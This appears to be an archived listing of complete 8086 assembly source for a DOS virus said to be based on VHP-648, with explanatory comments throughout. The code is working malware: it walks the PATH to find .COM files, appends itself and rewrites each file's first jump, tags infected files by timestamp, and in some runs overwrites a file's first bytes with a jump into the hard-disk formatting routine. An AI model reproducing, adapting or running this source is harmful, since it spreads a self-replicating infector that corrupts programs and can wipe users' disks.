home *** CD-ROM | disk | FTP | other *** search
- name Virus
- title Virus; based on the famous VHP-648 virus
- .radix 16
-
- code segment
- assume cs:code,ds:code
-
- org 100
-
- environ equ 2C
-
- newjmp equ 7Bh ;Code of jmp instruction
- codeptr equ 7A ;Here is formed a jump to virus code
- pname equ 78 ;Offset of file name in dir path
- poffs equ 76 ;Address of 'PATH' string
- errhnd equ 74 ;Old error handler
- fname equ 70 ;Path name to search for
- mydta equ 2C ;DTA for Find First/Next:
- attrib equ 17 ;File attribute
- time equ 16 ;File time
- date equ 14 ;File date
- fsize equ 12 ;File size
- namez equ 0E ;File name found
-
- start:
- jmp short virus
- nop
- int 20
-
- data label byte ;Data section
- saveins db 3 dup (90) ;Original first 3 bytes
- allcom db '*.COM',0 ;Filespec to search for
- pathstr db 'PATH='
-
- ;This replaces the first instruction of a destroyed file.
- ;It's a jmp instruction into the hard disk formatting program (IBM XT only):
-
- bad_jmp db 0EA,5,0,0,0C8
-
- virus:
- push ax
- push cx ;Save CX
-
- call self ;Detrmine the program start address
- nop ;For those looking for the E80000 pattern
- self:
- pop bx
- sub bx,self-data-1 ;Keep BX pointed at data
- cld
- lea si,[bx+saveins-data] ;Instruction saved there
- mov di,offset start
- mov cx,3 ;Move 3 bytes
- rep movsb ;Do it
- mov si,bx ;Keep SI pointed at data
-
- push bp ;Reserve local storage
- mov bp,sp
- sub sp,7C
-
- mov ah,30 ;Get DOS version
- int 21
- cmp al,0 ;Less than 2.0?
- jne skip1
- jmp exit ;Exit if so
-
- skip1:
- push es ;Save ES
- mov ax,3524 ;Get interrupt 24h handler
- int 21 ; and save it in errhnd
- mov [bp-errhnd],bx
- mov [bp-errhnd+2],es
-
- mov ah,25 ;Set interrupt 24h handler
- lea dx,[si+handler-data]
- int 21
-
- lea dx,[bp-mydta]
- mov ah,1A ;Set DTA
- int 21
-
- push si
- mov es,ds:[environ] ;Environment address
- xor di,di
- mov bx,si
- srchfirst: ;Search 'PATH' in environment
- lea si,[bx+pathstr-data]
- lodsb
- scasb ;Search for first letter ('P')
- jne nextp
- mov cx,4 ;4 letters in 'ATH='
- rep cmpsb
- je pfound ;PATH found, continue
- nextp:
- cmp byte ptr es:[di],0
- je notfound ;End of environment?
- mov cx,8000 ;Maximum 32 K in environment
- mov al,0 ;If not, skip thru next 0
- repne scasb ; (i.e. go to next variable)
- jmp srchfirst ; and search again
- notfound:
- xor di,di ;0 indicates no PATH found
- pfound:
- pop si ;Restore SI & ES
- pop es
-
- mov [bp-poffs],di ;Save 'PATH' offset in poffs
- lea di,[bp-fname]
- mov [bp-pname],di
-
- filesrch:
- lea si,[bx+allcom-data]
- mov cl,3 ;3 words in ASCIIZ '*.COM'
- rep movsw ;Move '*.COM' at fname
- mov si,bx ;Restore SI
-
- mov ah,4E ;Find first file
- lea dx,[bp-fname]
- mov cl,11b ;Hidden, Read/Only or Normal files
- int 21
- jc nextdir ;If not found, search in another directory
-
- checkfile:
- mov al,[bp-time] ;Check file time
- and al,11111b ; (the seconds, more exactly)
- cmp al,62d/2 ;Are they 62?
-
- ;If so, file is already contains the virus, search for another:
-
- je findnext
-
- ;Is file size greather than 64,000 bytes?
-
- cmp [bp-fsize],64000d
- ja findnext ;If so, search for next file
-
- ;Is file size greater or equal to 10 bytes?
-
- cmp word ptr [bp-fsize],10d
- jae process ;If so, process file
-
- findnext: ;Otherwise find the next file
- mov ah,4F ;Find next file
- int 21
- jnc checkfile ;If found, go chech some conditions
-
- nextdir:
- mov si,[bp-poffs]
- or si,si
- jnz skip2
- jmp olddta ;Exit if end of environment reached
- skip2:
- push ds ;Save DS
- lea di,[bp-fname] ;Point ES:DI at fname
- mov ds,ds:[environ] ;Point DS:SI at the PATH variable found
- cpydir:
- lodsb ;Get a char from the PATH variable
- cmp al,';' ;`;' means end of directory
- je enddir
- cmp al,0 ;0 means end of PATH variable
- je endpath
- stosb ;Put the char in fname
- jmp cpydir ;Loop until done
- endpath:
- xor si,si ;Zero SI to indicate end of PATH
- enddir:
- pop ds ;Restore DS
- mov [bp-poffs],si
- cmp byte ptr [di-1],'\'
- je skip3
- mov al,'\' ;Add '\' if not already present
- stosb
- skip3:
- mov [bp-pname],di
- jmp filesrch
-
- process:
- mov di,[bp-pname]
- lea si,[bp-namez] ;Point SI at namez
- cpyname:
- lodsb ;Copy name found to fname
- stosb
- cmp al,0
- jne cpyname
- mov si,bx ;Restore SI
-
- mov ax,4301 ;Set file attributes
- mov cl,[bp-attrib]
- and cl,not 1 ;Turn off Read Only flag
- int 21
-
- mov ax,3D02 ;Open file with Read/Write access
- int 21
- jc oldattr ;Exit on error
- mov bx,ax ;Save file handle in BX
-
- mov ah,2C ;Get system time
- int 21
- and dh,111b ;Are seconds a multiple of 8?
- jnz infect ;If not, contaminate file (don't destroy):
-
- ;Destroy file by rewriting an illegal jmp as first instruction:
-
- mov ah,40 ;Write to file handle
- mov cx,5 ;Write 5 bytes
- lea dx,[si+bad_jmp-data] ;Write THESE bytes
- int 21 ;Do it
- jmp short oldtime ;Exit
-
- ;Try to contaminate file:
-
- ;Read first instruction of the file (first 3 bytes) and save it in saveins:
-
- infect:
- mov ah,3F ;Read from file handle
- mov cx,3 ;Read 3 bytes
- lea dx,[si+saveins-data] ;Put them there
- int 21
- jc oldtime ;Exit on error
- cmp ax,3 ;Are really 3 bytes read?
- jne oldtime ;Exit if not
-
- ;Move file pointer to end of file:
-
- mov ax,4202 ;LSEEK from end of file
- xor cx,cx ;0 bytes from end
- xor dx,dx
- int 21
- jc oldtime ;Exit on error
-
- add ax,virus-data-3 ;Add virus data length to get code offset
- mov [bp-codeptr],ax ;Save result in codeptr
- mov byte ptr [bp-newjmp],0E9
-
- mov ah,40 ;Write to file handle
- mov cx,endcode-data ;Virus code length as bytes to be written
- mov dx,si ;Write from data to endcode
- int 21
- jc oldtime ;Exit on error
- cmp ax,endcode-data ;Are all bytes written?
- jne oldtime ;Exit if not
-
- mov ax,4200 ;LSEEK from the beginning of the file
- xor cx,cx ;Just at the file beginning
- xor dx,dx
- int 21
- jc oldtime ;Exit on error
-
- ;Rewrite the first instruction of the file with a jump to the virus code:
-
- mov ah,40 ;Write to file handle
- mov cl,3 ;3 bytes to write
- lea dx,[bp-newjmp] ;Write THESE bytes
- int 21
-
- oldtime:
- mov dx,[bp-date] ;Restore file date
- mov cx,[bp-time] ; and time
- or cl,11111b ;Set seconds to 62 (?!)
-
- mov ax,5701 ;Set file date & time
- int 21
- mov ah,3E ;Close file handle
- int 21
-
- oldattr:
- mov ax,4301 ;Set file attributes
- mov cl,[bp-attrib] ;They were saved in fattrib
- mov ch,0
- lea dx,[bp-fname]
- int 21
-
- olddta:
- mov ah,1A ;Set DTA
- mov dx,80 ;Restore DTA
- int 21
-
- push ds ;Save DS
- mov ax,2524 ;Set interrupt 24h handler
- mov dx,[bp-errhnd] ;Restore saved handler
- mov ds,[bp-errhnd+2]
- int 21
- pop ds ;Restore DS
-
- exit:
- mov sp,bp
- pop bp ;Restore BP, CX & AX
- pop cx
- pop ax
- xor bx,bx ;Clear registers
- xor dx,dx
- xor si,si
- mov di,offset start ;Jump to CS:100
- push di ; by doing funny RET
- xor di,di
- ret
-
- handler: ;Critical error handler
- mov al,0 ;Just ignore error
- iret ; and return
- endcode label byte
-
- code ends
- end start